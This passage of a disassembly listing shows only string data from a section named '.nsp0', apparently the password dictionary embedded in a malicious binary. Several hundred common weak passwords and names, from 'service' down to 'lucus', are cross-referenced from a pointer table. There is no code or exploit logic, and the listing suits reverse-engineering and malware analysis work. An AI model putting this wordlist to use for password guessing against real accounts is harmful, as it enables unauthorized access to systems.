aService	db 'service',0          ; DATA XREF: .nsp0:004271E8o
aSerial		db 'serial',0           ; DATA XREF: .nsp0:004271E4o
		align 10h
aSerenity	db 'serenity',0         ; DATA XREF: .nsp0:004271E0o
		align 4
aSentry		db 'sentry',0           ; DATA XREF: .nsp0:004271DCo
		align 4
aSentinel	db 'sentinel',0         ; DATA XREF: .nsp0:004271D8o
		align 10h
aSensor		db 'sensor',0           ; DATA XREF: .nsp0:004271D4o
		align 4
aSega		db 'sega',0             ; DATA XREF: .nsp0:004271D0o
		align 10h
aSeed		db 'seed',0             ; DATA XREF: .nsp0:004271CCo
		align 4
aSecurity	db 'security',0         ; DATA XREF: .nsp0:004271C8o
		align 4
aSearch		db 'search',0           ; DATA XREF: .nsp0:004271C4o
		align 4
aScout		db 'scout',0            ; DATA XREF: .nsp0:004271C0o
		align 4
aScotty		db 'scotty',0           ; DATA XREF: .nsp0:004271BCo
		align 4
aScott		db 'scott',0            ; DATA XREF: .nsp0:004271B8o
		align 4
aScorpion	db 'scorpion',0         ; DATA XREF: .nsp0:004271B4o
		align 10h
aScifi		db 'scifi',0            ; DATA XREF: .nsp0:004271B0o
		align 4
aSchoolsucks	db 'schoolsucks',0      ; DATA XREF: .nsp0:004271ACo
aSchool		db 'school',0           ; DATA XREF: .nsp0:004271A8o
		align 4
aScheme		db 'scheme',0           ; DATA XREF: .nsp0:004271A4o
		align 4
aScamper	db 'scamper',0          ; DATA XREF: .nsp0:004271A0o
aSaxon		db 'saxon',0            ; DATA XREF: .nsp0:0042719Co
		align 4
aSaturn		db 'saturn',0           ; DATA XREF: .nsp0:00427198o
		align 4
aSaturday	db 'saturday',0         ; DATA XREF: .nsp0:00427194o
		align 4
aSarah		db 'sarah',0            ; DATA XREF: .nsp0:00427190o
		align 10h
aSara		db 'sara',0             ; DATA XREF: .nsp0:0042718Co
		align 4
aSandy		db 'sandy',0            ; DATA XREF: .nsp0:00427188o
		align 10h
aSandra		db 'sandra',0           ; DATA XREF: .nsp0:00427184o
		align 4
aSample		db 'sample',0           ; DATA XREF: .nsp0:00427180o
		align 10h
aSamantha	db 'samantha',0         ; DATA XREF: .nsp0:0042717Co
		align 4
aSalt		db 'salt',0             ; DATA XREF: .nsp0:00427178o
		align 4
aSale		db 'sale',0             ; DATA XREF: .nsp0:00427174o
		align 4
aSalami		db 'salami',0           ; DATA XREF: .nsp0:00427170o
		align 4
aSafe		db 'safe',0             ; DATA XREF: .nsp0:0042716Co
		align 4
aRuth		db 'ruth',0             ; DATA XREF: .nsp0:00427168o
		align 4
aRush		db 'rush',0             ; DATA XREF: .nsp0:00427164o
		align 4
aRunning	db 'running',0          ; DATA XREF: .nsp0:00427160o
aRules		db 'rules',0            ; DATA XREF: .nsp0:0042715Co
		align 4
aRude		db 'rude',0             ; DATA XREF: .nsp0:00427158o
		align 4
aRuby		db 'ruby',0             ; DATA XREF: .nsp0:00427154o
		align 4
aRuben		db 'ruben',0            ; DATA XREF: .nsp0:00427150o
		align 4
aRubber		db 'rubber',0           ; DATA XREF: .nsp0:0042714Co
		align 4
aRough		db 'rough',0            ; DATA XREF: .nsp0:00427148o
		align 4
aRoses		db 'roses',0            ; DATA XREF: .nsp0:00427144o
		align 4
aRosemary	db 'rosemary',0         ; DATA XREF: .nsp0:00427140o
		align 4
aRosebud	db 'rosebud',0          ; DATA XREF: .nsp0:0042713Co
aRose		db 'rose',0             ; DATA XREF: .nsp0:00427138o
		align 4
aRonald		db 'ronald',0           ; DATA XREF: .nsp0:00427134o
		align 10h
aRomulan	db 'romulan',0          ; DATA XREF: .nsp0:00427130o
aRomeo		db 'romeo',0            ; DATA XREF: .nsp0:0042712Co
		align 10h
aRomano		db 'romano',0           ; DATA XREF: .nsp0:00427128o
		align 4
aRolex		db 'rolex',0            ; DATA XREF: .nsp0:00427124o
		align 10h
aRodent		db 'rodent',0           ; DATA XREF: .nsp0:00427120o
		align 4
aRockyhor	db 'rockyhor',0         ; DATA XREF: .nsp0:0042711Co
		align 4
aRocky		db 'rocky',0            ; DATA XREF: .nsp0:00427118o
		align 4
aRock		db 'rock',0             ; DATA XREF: .nsp0:00427114o
		align 4
aRocheste	db 'rocheste',0         ; DATA XREF: .nsp0:00427110o
		align 10h
aRochelle	db 'rochelle',0         ; DATA XREF: .nsp0:0042710Co
		align 4
aRobyn		db 'robyn',0            ; DATA XREF: .nsp0:00427108o
		align 4
aRobotics	db 'robotics',0         ; DATA XREF: .nsp0:00427104o
		align 10h
aRobot		db 'robot',0            ; DATA XREF: .nsp0:00427100o
		align 4
aRobin		db 'robin',0            ; DATA XREF: .nsp0:004270FCo
		align 10h
aRobert		db 'robert',0           ; DATA XREF: .nsp0:004270F8o
		align 4
aRoach		db 'roach',0            ; DATA XREF: .nsp0:004270F4o
		align 10h
aRisc		db 'risc',0             ; DATA XREF: .nsp0:004270F0o
		align 4
aRipple		db 'ripple',0           ; DATA XREF: .nsp0:004270ECo
		align 10h
aRiot		db 'riot',0             ; DATA XREF: .nsp0:004270E8o
		align 4
aRing		db 'ring',0             ; DATA XREF: .nsp0:004270E4o
		align 10h
aRightwin	db 'rightwin',0         ; DATA XREF: .nsp0:004270E0o
		align 4
aRight		db 'right',0            ; DATA XREF: .nsp0:004270DCo
		align 4
aRiffraff	db 'riffraff',0         ; DATA XREF: .nsp0:004270D8o
		align 10h
aRick		db 'rick',0             ; DATA XREF: .nsp0:004270D4o
		align 4
aRich		db 'rich',0             ; DATA XREF: .nsp0:004270D0o
		align 10h
aRhino		db 'rhino',0            ; DATA XREF: .nsp0:004270CCo
		align 4
aReveal		db 'reveal',0           ; DATA XREF: .nsp0:004270C8o
		align 10h
aResistan	db 'resistan',0         ; DATA XREF: .nsp0:004270C4o
		align 4
aRepublic	db 'republic',0         ; DATA XREF: .nsp0:004270C0o
		align 4
aReport		db 'report',0           ; DATA XREF: .nsp0:004270BCo
		align 10h
aRent		db 'rent',0             ; DATA XREF: .nsp0:004270B8o
		align 4
aReno		db 'reno',0             ; DATA XREF: .nsp0:004270B4o
		align 10h
aRenee		db 'renee',0            ; DATA XREF: .nsp0:004270B0o
		align 4
aRemote		db 'remote',0           ; DATA XREF: .nsp0:004270ACo
		align 10h
aRelease	db 'release',0          ; DATA XREF: .nsp0:004270A8o
aRegional	db 'regional',0         ; DATA XREF: .nsp0:004270A4o
		align 4
aReferenc	db 'referenc',0         ; DATA XREF: .nsp0:004270A0o
		align 10h
aRedhead	db 'redhead',0          ; DATA XREF: .nsp0:0042709Co
aReddawn	db 'reddawn',0          ; DATA XREF: .nsp0:00427098o
aRecord		db 'record',0           ; DATA XREF: .nsp0:00427094o
		align 4
aRebel		db 'rebel',0            ; DATA XREF: .nsp0:00427090o
		align 10h
aRebecca	db 'rebecca',0          ; DATA XREF: .nsp0:0042708Co
aRebal		db 'rebal',0            ; DATA XREF: .nsp0:00427088o
		align 10h
aReaper		db 'reaper',0           ; DATA XREF: .nsp0:00427084o
		align 4
aReam		db 'ream',0             ; DATA XREF: .nsp0:00427080o
		align 10h
aReally		db 'really',0           ; DATA XREF: .nsp0:0042707Co
		align 4
aReality	db 'reality',0          ; DATA XREF: .nsp0:00427078o
aReagan		db 'reagan',0           ; DATA XREF: .nsp0:00427074o
		align 4
aRazor		db 'razor',0            ; DATA XREF: .nsp0:00427070o
		align 10h
aRascal		db 'rascal',0           ; DATA XREF: .nsp0:0042706Co
		align 4
aRape		db 'rape',0             ; DATA XREF: .nsp0:00427068o
		align 10h
aRaleigh	db 'raleigh',0          ; DATA XREF: .nsp0:00427060o
aRaindrop	db 'raindrop',0         ; DATA XREF: .nsp0:0042705Co
		align 4
aRainbow	db 'rainbow',0          ; DATA XREF: .nsp0:00427058o
aRain		db 'rain',0             ; DATA XREF: .nsp0:00427054o
		align 4
aRaid		db 'raid',0             ; DATA XREF: .nsp0:00427050o
		align 4
aRachmani	db 'rachmani',0         ; DATA XREF: .nsp0:0042704Co
		align 4
aRachelle	db 'rachelle',0         ; DATA XREF: .nsp0:00427048o
		align 4
aRachel		db 'rachel',0           ; DATA XREF: .nsp0:00427044o
		align 4
aRabbit		db 'rabbit',0           ; DATA XREF: .nsp0:00427040o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: .nsp0:0042703Co
		align 4
aQwert		db 'qwert',0            ; DATA XREF: .nsp0:00427038o
		align 4
aQuebec		db 'quebec',0           ; DATA XREF: .nsp0:00427034o
		align 4
aPussy		db 'pussy',0            ; DATA XREF: .nsp0:00427030o
		align 4
aPuppet		db 'puppet',0           ; DATA XREF: .nsp0:0042702Co
		align 4
aPunk		db 'punk',0             ; DATA XREF: .nsp0:00427028o
		align 4
aPunisher	db 'punisher',0         ; DATA XREF: .nsp0:00427024o
		align 10h
aPuneet		db 'puneet',0           ; DATA XREF: .nsp0:00427020o
		align 4
aPumpkin	db 'pumpkin',0          ; DATA XREF: .nsp0:0042701Co
aPuke		db 'puke',0             ; DATA XREF: .nsp0:00427018o
		align 4
aPuck		db 'puck',0             ; DATA XREF: .nsp0:00427014o
		align 10h
aPublic		db 'public',0           ; DATA XREF: .nsp0:00427010o
		align 4
aPsychopa	db 'psychopa',0         ; DATA XREF: .nsp0:0042700Co
		align 4
aPsycho		db 'psycho',0           ; DATA XREF: .nsp0:00427008o
		align 4
aProtozoa	db 'protozoa',0         ; DATA XREF: .nsp0:00427004o
		align 4
aProtect	db 'protect',0          ; DATA XREF: .nsp0:00427000o
aPrompt		db 'prompt',0           ; DATA XREF: .nsp0:00426FFCo
		align 4
aProgram	db 'program',0          ; DATA XREF: .nsp0:00426FF8o
aProfile	db 'profile',0          ; DATA XREF: .nsp0:00426FF4o
aProfesso	db 'professo',0         ; DATA XREF: .nsp0:00426FF0o
		align 4
aProcesso	db 'processo',0         ; DATA XREF: .nsp0:00426FECo
		align 10h
aProceed	db 'proceed',0          ; DATA XREF: .nsp0:00426FE8o
aPrivs		db 'privs',0            ; DATA XREF: .nsp0:00426FE4o
		align 10h
aPrivate	db 'private',0          ; DATA XREF: .nsp0:00426FE0o
aPriv		db 'priv',0             ; DATA XREF: .nsp0:00426FDCo
		align 10h
aPrinter	db 'printer',0          ; DATA XREF: .nsp0:00426FD8o
aPrinceto	db 'princeto',0         ; DATA XREF: .nsp0:00426FD4o
		align 4
aPrince		db 'prince',0           ; DATA XREF: .nsp0:00426FD0o
		align 4
aPresto		db 'presto',0           ; DATA XREF: .nsp0:00426FCCo
		align 4
aPrelude	db 'prelude',0          ; DATA XREF: .nsp0:00426FC8o
aPrecious	db 'precious',0         ; DATA XREF: .nsp0:00426FC4o
		align 4
aPraise		db 'praise',0           ; DATA XREF: .nsp0:00426FC0o
		align 10h
aPower		db 'power',0            ; DATA XREF: .nsp0:00426FBCo
		align 4
aPoster		db 'poster',0           ; DATA XREF: .nsp0:00426FB8o
		align 10h
aPost		db 'post',0             ; DATA XREF: .nsp0:00426FB4o
		align 4
aPorsche	db 'porsche',0          ; DATA XREF: .nsp0:00426FB0o
aPorno		db 'porno',0            ; DATA XREF: .nsp0:00426FACo
		align 4
aPorn		db 'porn',0             ; DATA XREF: .nsp0:00426FA8o
		align 10h
aPork		db 'pork',0             ; DATA XREF: .nsp0:00426FA4o
		align 4
aPoor		db 'poor',0             ; DATA XREF: .nsp0:00426FA0o
		align 10h
aPoop		db 'poop',0             ; DATA XREF: .nsp0:00426F9Co
		align 4
aPonderin	db 'ponderin',0         ; DATA XREF: .nsp0:00426F98o
		align 4
aPolynomi	db 'polynomi',0         ; DATA XREF: .nsp0:00426F94o
		align 10h
aPolly		db 'polly',0            ; DATA XREF: .nsp0:00426F90o
		align 4
aPolice		db 'police',0           ; DATA XREF: .nsp0:00426F8Co
		align 10h
aPoetry		db 'poetry',0           ; DATA XREF: .nsp0:00426F88o
		align 4
aPlymouth	db 'plymouth',0         ; DATA XREF: .nsp0:00426F84o
		align 4
aPluto		db 'pluto',0            ; DATA XREF: .nsp0:00426F80o
		align 4
aPlover		db 'plover',0           ; DATA XREF: .nsp0:00426F7Co
		align 4
aPlayboy	db 'playboy',0          ; DATA XREF: .nsp0:00426F78o
aPlane		db 'plane',0            ; DATA XREF: .nsp0:00426F74o
		align 4
aPizza		db 'pizza',0            ; DATA XREF: .nsp0:00426F70o
		align 4
aPiss		db 'piss',0             ; DATA XREF: .nsp0:00426F6Co
		align 4
aPinname	db 'pinname',0          ; DATA XREF: .nsp0:00426F68o
aPimp		db 'pimp',0             ; DATA XREF: .nsp0:00426F64o
		align 4
aPierre		db 'pierre',0           ; DATA XREF: .nsp0:00426F60o
		align 4
aPick		db 'pick',0             ; DATA XREF: .nsp0:00426F5Co
		align 4
aPhuck		db 'phuck',0            ; DATA XREF: .nsp0:00426F58o
		align 4
aPhreak		db 'phreak',0           ; DATA XREF: .nsp0:00426F54o
		align 4
aPhrase		db 'phrase',0           ; DATA XREF: .nsp0:00426F50o
		align 4
aPhrack		db 'phrack',0           ; DATA XREF: .nsp0:00426F4Co
		align 4
aPhoton		db 'photon',0           ; DATA XREF: .nsp0:00426F48o
		align 4
aPhone		db 'phone',0            ; DATA XREF: .nsp0:00426F44o
		align 4
aPhoenix	db 'phoenix',0          ; DATA XREF: .nsp0:00426F40o
aPhilip		db 'philip',0           ; DATA XREF: .nsp0:00426F3Co
		align 4
aPhil		db 'phil',0             ; DATA XREF: .nsp0:00426F38o
		align 4
aPeter		db 'peter',0            ; DATA XREF: .nsp0:00426F34o
		align 4
aPete		db 'pete',0             ; DATA XREF: .nsp0:00426F30o
		align 4
aPervert	db 'pervert',0          ; DATA XREF: .nsp0:00426F2Co
aPersona	db 'persona',0          ; DATA XREF: .nsp0:00426F28o
aPersimmo	db 'persimmo',0         ; DATA XREF: .nsp0:00426F24o
		align 4
aPermit		db 'permit',0           ; DATA XREF: .nsp0:00426F20o
		align 10h
aPerfect	db 'perfect',0          ; DATA XREF: .nsp0:00426F1Co
aPercolat	db 'percolat',0         ; DATA XREF: .nsp0:00426F18o
		align 4
aPepper		db 'pepper',0           ; DATA XREF: .nsp0:00426F14o
		align 4
aPeoria		db 'peoria',0           ; DATA XREF: .nsp0:00426F10o
		align 4
aPentium	db 'pentium',0          ; DATA XREF: .nsp0:00426F0Co
aPenthous	db 'penthous',0         ; DATA XREF: .nsp0:00426F08o
		align 4
aPentagra	db 'pentagra',0         ; DATA XREF: .nsp0:00426F04o
		align 4
aPentagon	db 'pentagon',0         ; DATA XREF: .nsp0:00426F00o
		align 10h
aPenname	db 'penname',0          ; DATA XREF: .nsp0:00426EFCo
aPenis		db 'penis',0            ; DATA XREF: .nsp0:00426EF8o
		align 10h
aPenguin	db 'penguin',0          ; DATA XREF: .nsp0:00426EF4o
aPenelope	db 'penelope',0         ; DATA XREF: .nsp0:00426EF0o
		align 4
aPencil		db 'pencil',0           ; DATA XREF: .nsp0:00426EECo
		align 4
aPecker		db 'pecker',0           ; DATA XREF: .nsp0:00426EE8o
		align 4
aPeanuts	db 'peanuts',0          ; DATA XREF: .nsp0:00426EE4o
aPaula		db 'paula',0            ; DATA XREF: .nsp0:00426EE0o
		align 4
aPatty		db 'patty',0            ; DATA XREF: .nsp0:00426EDCo
		align 4
aPatriot	db 'patriot',0          ; DATA XREF: .nsp0:00426ED8o
aPatricia	db 'patricia',0         ; DATA XREF: .nsp0:00426ED4o
		align 10h
aPaste		db 'paste',0            ; DATA XREF: .nsp0:00426ED0o
		align 4
aPassphra	db 'passphra',0         ; DATA XREF: .nsp0:00426ECCo
		align 4
aPascal		db 'pascal',0           ; DATA XREF: .nsp0:00426EC8o
		align 4
aPapers		db 'papers',0           ; DATA XREF: .nsp0:00426EC4o
		align 4
aPaper		db 'paper',0            ; DATA XREF: .nsp0:00426EC0o
		align 4
aPapa		db 'papa',0             ; DATA XREF: .nsp0:00426EBCo
		align 4
aPamela		db 'pamela',0           ; DATA XREF: .nsp0:00426EB8o
		align 4
aPakistan	db 'pakistan',0         ; DATA XREF: .nsp0:00426EB4o
		align 4
aPaint		db 'paint',0            ; DATA XREF: .nsp0:00426EB0o
		align 10h
aPainless	db 'painless',0         ; DATA XREF: .nsp0:00426EACo
		align 4
aPacker		db 'packer',0           ; DATA XREF: .nsp0:00426EA8o
		align 4
aPackard	db 'packard',0          ; DATA XREF: .nsp0:00426EA4o
aPacific	db 'pacific',0          ; DATA XREF: .nsp0:00426EA0o
aOxford		db 'oxford',0           ; DATA XREF: .nsp0:00426E9Co
		align 4
aOutside	db 'outside',0          ; DATA XREF: .nsp0:00426E98o
aOutput		db 'output',0           ; DATA XREF: .nsp0:00426E94o
		align 4
aOutlaw		db 'outlaw',0           ; DATA XREF: .nsp0:00426E90o
		align 4
aOutdoors	db 'outdoors',0         ; DATA XREF: .nsp0:00426E8Co
		align 10h
aOsiris		db 'osiris',0           ; DATA XREF: .nsp0:00426E88o
		align 4
aOscar		db 'oscar',0            ; DATA XREF: .nsp0:00426E84o
		align 10h
aOrwell		db 'orwell',0           ; DATA XREF: .nsp0:00426E80o
		align 4
aOrient		db 'orient',0           ; DATA XREF: .nsp0:00426E7Co
		align 10h
aOrca		db 'orca',0             ; DATA XREF: .nsp0:00426E78o
		align 4
aOperator	db 'operator',0         ; DATA XREF: .nsp0:00426E74o
		align 4
aOpensesa	db 'opensesa',0         ; DATA XREF: .nsp0:00426E70o
		align 10h
aOpenlock	db 'openlock',0         ; DATA XREF: .nsp0:00426E6Co
		align 4
aOpening	db 'opening',0          ; DATA XREF: .nsp0:00426E68o
aOmega		db 'omega',0            ; DATA XREF: .nsp0:00426E60o
		align 4
aOlivia		db 'olivia',0           ; DATA XREF: .nsp0:00426E5Co
		align 4
aOlivetti	db 'olivetti',0         ; DATA XREF: .nsp0:00426E58o
		align 10h
aOldage		db 'oldage',0           ; DATA XREF: .nsp0:00426E54o
		align 4
aOkay		db 'okay',0             ; DATA XREF: .nsp0:00426E50o
		align 10h
aOffice		db 'office',0           ; DATA XREF: .nsp0:00426E4Co
		align 4
aOcelot		db 'ocelot',0           ; DATA XREF: .nsp0:00426E48o
		align 10h
aOceanogr	db 'oceanogr',0         ; DATA XREF: .nsp0:00426E44o
		align 4
aObscurit	db 'obscurit',0         ; DATA XREF: .nsp0:00426E40o
		align 4
aNyquist	db 'nyquist',0          ; DATA XREF: .nsp0:00426E3Co
aNuts		db 'nuts',0             ; DATA XREF: .nsp0:00426E38o
		align 4
aNutritio	db 'nutritio',0         ; DATA XREF: .nsp0:00426E34o
		align 4
aNumber		db 'number',0           ; DATA XREF: .nsp0:00426E30o
		align 4
aNull_1		db 'null',0             ; DATA XREF: .nsp0:00426E2Co
		align 4
aNukem		db 'nukem',0            ; DATA XREF: .nsp0:00426E28o
		align 4
aNuke		db 'nuke',0             ; DATA XREF: .nsp0:00426E24o
		align 4
aNude		db 'nude',0             ; DATA XREF: .nsp0:00426E20o
		align 4
aNuclear	db 'nuclear',0          ; DATA XREF: .nsp0:00426E1Co
aNoxious	db 'noxious',0          ; DATA XREF: .nsp0:00426E18o
aNovember	db 'november',0         ; DATA XREF: .nsp0:00426E14o
		align 4
aNovel		db 'novel',0            ; DATA XREF: .nsp0:00426E10o
		align 10h
aNova		db 'nova',0             ; DATA XREF: .nsp0:00426E0Co
		align 4
aNoth		db 'noth',0             ; DATA XREF: .nsp0:00426E08o
		align 10h
aNotes		db 'notes',0            ; DATA XREF: .nsp0:00426E04o
		align 4
aNoreen		db 'noreen',0           ; DATA XREF: .nsp0:00426E00o
		align 10h
aNode		db 'node',0             ; DATA XREF: .nsp0:00426DFCo
		align 4
aNobody		db 'nobody',0           ; DATA XREF: .nsp0:00426DF8o
		align 10h
aNoble		db 'noble',0            ; DATA XREF: .nsp0:00426DF4o
		align 4
aNnaacp		db 'nnaacp',0           ; DATA XREF: .nsp0:00426DF0o
		align 10h
aNita		db 'nita',0             ; DATA XREF: .nsp0:00426DECo
		align 4
aNintendo	db 'nintendo',0         ; DATA XREF: .nsp0:00426DE8o
		align 4
aNightmar	db 'nightmar',0         ; DATA XREF: .nsp0:00426DE4o
		align 10h
aNight		db 'night',0            ; DATA XREF: .nsp0:00426DE0o
		align 4
aNicotine	db 'nicotine',0         ; DATA XREF: .nsp0:00426DDCo
		align 4
aNicole		db 'nicole',0           ; DATA XREF: .nsp0:00426DD8o
		align 4
aNice		db 'nice',0             ; DATA XREF: .nsp0:00426DD4o
		align 4
aNext		db 'next',0             ; DATA XREF: .nsp0:00426DD0o
		align 4
aNewyork	db 'newyork',0          ; DATA XREF: .nsp0:00426DCCo
aNewton		db 'newton',0           ; DATA XREF: .nsp0:00426DC8o
		align 4
aNewsgrou	db 'newsgrou',0         ; DATA XREF: .nsp0:00426DC4o
		align 4
aNews		db 'news',0             ; DATA XREF: .nsp0:00426DC0o
		align 10h
aNewborn	db 'newborn',0          ; DATA XREF: .nsp0:00426DBCo
aNetwork_0	db 'network',0          ; DATA XREF: .nsp0:00426DB8o
aNetscape	db 'netscape',0         ; DATA XREF: .nsp0:00426DB4o
		align 4
aNess		db 'ness',0             ; DATA XREF: .nsp0:00426DB0o
		align 4
aNeptune	db 'neptune',0          ; DATA XREF: .nsp0:00426DACo
aNepenthe	db 'nepenthe',0         ; DATA XREF: .nsp0:00426DA8o
		align 4
aNavy		db 'navy',0             ; DATA XREF: .nsp0:00426DA4o
		align 10h
aNasa		db 'nasa',0             ; DATA XREF: .nsp0:00426DA0o
		align 4
aNapoleon	db 'napoleon',0         ; DATA XREF: .nsp0:00426D9Co
		align 4
aNancy		db 'nancy',0            ; DATA XREF: .nsp0:00426D98o
		align 4
aName		db 'name',0             ; DATA XREF: .nsp0:00426D94o
		align 4
aNagel		db 'nagel',0            ; DATA XREF: .nsp0:00426D90o
		align 4
aMutant		db 'mutant',0           ; DATA XREF: .nsp0:00426D8Co
		align 4
aMuppets	db 'muppets',0          ; DATA XREF: .nsp0:00426D88o
aMsdos		db 'msdos',0            ; DATA XREF: .nsp0:00426D84o
		align 4
aMpeg		db 'mpeg',0             ; DATA XREF: .nsp0:00426D80o
		align 4
aMozart		db 'mozart',0           ; DATA XREF: .nsp0:00426D7Co
		align 4
aMovies		db 'movies',0           ; DATA XREF: .nsp0:00426D78o
		align 4
aMovie		db 'movie',0            ; DATA XREF: .nsp0:00426D74o
		align 4
aMove		db 'move',0             ; DATA XREF: .nsp0:00426D70o
		align 4
aMouse		db 'mouse',0            ; DATA XREF: .nsp0:00426D6Co
		align 4
aMountain	db 'mountain',0         ; DATA XREF: .nsp0:00426D68o
		align 10h
aMosaic		db 'mosaic',0           ; DATA XREF: .nsp0:00426D64o
		align 4
aMortgage	db 'mortgage',0         ; DATA XREF: .nsp0:00426D60o
		align 4
aMortalco	db 'mortalco',0         ; DATA XREF: .nsp0:00426D5Co
		align 10h
aMortal		db 'mortal',0           ; DATA XREF: .nsp0:00426D58o
		align 4
aMorris		db 'morris',0           ; DATA XREF: .nsp0:00426D54o
		align 10h
aMorley		db 'morley',0           ; DATA XREF: .nsp0:00426D50o
		align 4
aMore		db 'more',0             ; DATA XREF: .nsp0:00426D4Co
		align 10h
aMoose		db 'moose',0            ; DATA XREF: .nsp0:00426D48o
		align 4
aMoor		db 'moor',0             ; DATA XREF: .nsp0:00426D44o
		align 10h
aMoom		db 'moom',0             ; DATA XREF: .nsp0:00426D40o
		align 4
aMonica		db 'monica',0           ; DATA XREF: .nsp0:00426D3Co
		align 10h
aMonday		db 'monday',0           ; DATA XREF: .nsp0:00426D38o
		align 4
aMoguls		db 'moguls',0           ; DATA XREF: .nsp0:00426D34o
		align 10h
aMogul		db 'mogul',0            ; DATA XREF: .nsp0:00426D30o
		align 4
aModem		db 'modem',0            ; DATA XREF: .nsp0:00426D2Co
		align 10h
aMode		db 'mode',0             ; DATA XREF: .nsp0:00426D28o
		align 4
aMkii		db 'mkii',0             ; DATA XREF: .nsp0:00426D24o
		align 10h
aMission	db 'mission',0          ; DATA XREF: .nsp0:00426D20o
aMisfit		db 'misfit',0           ; DATA XREF: .nsp0:00426D1Co
		align 10h
aMinsky		db 'minsky',0           ; DATA XREF: .nsp0:00426D18o
		align 4
aMinimum	db 'minimum',0          ; DATA XREF: .nsp0:00426D14o
aMine		db 'mine',0             ; DATA XREF: .nsp0:00426D10o
		align 4
aMike		db 'mike',0             ; DATA XREF: .nsp0:00426D0Co
		align 10h
aMidieval	db 'midieval',0         ; DATA XREF: .nsp0:00426D08o
		align 4
aMicrosof	db 'microsof',0         ; DATA XREF: .nsp0:00426D04o
		align 4
aMicropro	db 'micropro',0         ; DATA XREF: .nsp0:00426D00o
		align 4
aMicrochi	db 'microchi',0         ; DATA XREF: .nsp0:00426CFCo
		align 10h
aMicro		db 'micro',0            ; DATA XREF: .nsp0:00426CF8o
		align 4
aMickey		db 'mickey',0           ; DATA XREF: .nsp0:00426CF4o
		align 10h
aMichelle	db 'michelle',0         ; DATA XREF: .nsp0:00426CF0o
		align 4
aMichele	db 'michele',0          ; DATA XREF: .nsp0:00426CECo
aMichelan	db 'michelan',0         ; DATA XREF: .nsp0:00426CE8o
		align 10h
aMichel		db 'michel',0           ; DATA XREF: .nsp0:00426CE4o
		align 4
aMichael	db 'michael',0          ; DATA XREF: .nsp0:00426CE0o
aMice		db 'mice',0             ; DATA XREF: .nsp0:00426CDCo
		align 4
aMets		db 'mets',0             ; DATA XREF: .nsp0:00426CD8o
		align 10h
aMetalica	db 'metalica',0         ; DATA XREF: .nsp0:00426CD4o
		align 4
aMetalhea	db 'metalhea',0         ; DATA XREF: .nsp0:00426CD0o
		align 4
aMetal		db 'metal',0            ; DATA XREF: .nsp0:00426CCCo
		align 10h
aMerlin		db 'merlin',0           ; DATA XREF: .nsp0:00426CC8o
		align 4
aMercury	db 'mercury',0          ; DATA XREF: .nsp0:00426CC4o
aMenu		db 'menu',0             ; DATA XREF: .nsp0:00426CC0o
		align 4
aMenace		db 'menace',0           ; DATA XREF: .nsp0:00426CBCo
		align 10h
aMemory		db 'memory',0           ; DATA XREF: .nsp0:00426CB8o
		align 4
aMember		db 'member',0           ; DATA XREF: .nsp0:00426CB4o
		align 10h
aMelrose	db 'melrose',0          ; DATA XREF: .nsp0:00426CB0o
aMellon		db 'mellon',0           ; DATA XREF: .nsp0:00426CACo
		align 10h
aMelissa	db 'melissa',0          ; DATA XREF: .nsp0:00426CA8o
aMegan		db 'megan',0            ; DATA XREF: .nsp0:00426CA4o
		align 10h
aMegadeth	db 'megadeth',0         ; DATA XREF: .nsp0:00426CA0o
		align 4
aMegabyte	db 'megabyte',0         ; DATA XREF: .nsp0:00426C9Co
		align 4
aMeagan		db 'meagan',0           ; DATA XREF: .nsp0:00426C98o
		align 10h
aMaurice	db 'maurice',0          ; DATA XREF: .nsp0:00426C94o
aMath		db 'math',0             ; DATA XREF: .nsp0:00426C90o
		align 10h
aMaster		db 'master',0           ; DATA XREF: .nsp0:00426C8Co
		align 4
aMason		db 'mason',0            ; DATA XREF: .nsp0:00426C88o
		align 10h
aMary		db 'mary',0             ; DATA XREF: .nsp0:00426C84o
		align 4
aMarvin		db 'marvin',0           ; DATA XREF: .nsp0:00426C80o
		align 10h
aMarty		db 'marty',0            ; DATA XREF: .nsp0:00426C7Co
		align 4
aMars		db 'mars',0             ; DATA XREF: .nsp0:00426C78o
		align 10h
aMarriage	db 'marriage',0         ; DATA XREF: .nsp0:00426C74o
		align 4
aMarni		db 'marni',0            ; DATA XREF: .nsp0:00426C70o
		align 4
aMarkus		db 'markus',0           ; DATA XREF: .nsp0:00426C6Co
		align 4
aMark		db 'mark',0             ; DATA XREF: .nsp0:00426C68o
		align 4
aMarines	db 'marines',0          ; DATA XREF: .nsp0:00426C64o
aMarijuan	db 'marijuan',0         ; DATA XREF: .nsp0:00426C60o
		align 4
aMarietta	db 'marietta',0         ; DATA XREF: .nsp0:00426C5Co
		align 4
aMariens	db 'mariens',0          ; DATA XREF: .nsp0:00426C58o
aMaria		db 'maria',0            ; DATA XREF: .nsp0:00426C54o
		align 4
aMarcy		db 'marcy',0            ; DATA XREF: .nsp0:00426C50o
		align 4
aMarci		db 'marci',0            ; DATA XREF: .nsp0:00426C4Co
		align 4
aMara		db 'mara',0             ; DATA XREF: .nsp0:00426C48o
		align 4
aManager	db 'manager',0          ; DATA XREF: .nsp0:00426C44o
aMana		db 'mana',0             ; DATA XREF: .nsp0:00426C40o
		align 4
aMalcom		db 'malcom',0           ; DATA XREF: .nsp0:00426C3Co
		align 4
aMalcolm	db 'malcolm',0          ; DATA XREF: .nsp0:00426C38o
aMaint		db 'maint',0            ; DATA XREF: .nsp0:00426C34o
		align 4
aMail		db 'mail',0             ; DATA XREF: .nsp0:00426C30o
		align 4
aMagnet		db 'magnet',0           ; DATA XREF: .nsp0:00426C2Co
		align 4
aMagic		db 'magic',0            ; DATA XREF: .nsp0:00426C28o
		align 4
aMaggot		db 'maggot',0           ; DATA XREF: .nsp0:00426C24o
		align 4
aMacro		db 'macro',0            ; DATA XREF: .nsp0:00426C20o
		align 4
aMack		db 'mack',0             ; DATA XREF: .nsp0:00426C1Co
		align 4
aMacintos	db 'macintos',0         ; DATA XREF: .nsp0:00426C18o
		align 10h
aMachine	db 'machine',0          ; DATA XREF: .nsp0:00426C14o
aLynne		db 'lynne',0            ; DATA XREF: .nsp0:00426C10o
		align 10h
aLynn		db 'lynn',0             ; DATA XREF: .nsp0:00426C0Co
		align 4
aLust		db 'lust',0             ; DATA XREF: .nsp0:00426C08o
		align 10h
aLuke		db 'luke',0             ; DATA XREF: .nsp0:00426C04o
		align 4
aLude		db 'lude',0             ; DATA XREF: .nsp0:00426C00o
		align 10h
aLucy		db 'lucy',0             ; DATA XREF: .nsp0:00426BFCo
		align 4
aLucus		db 'lucus',0            ; DATA XREF: .nsp0:00426BF8o
		align 10h
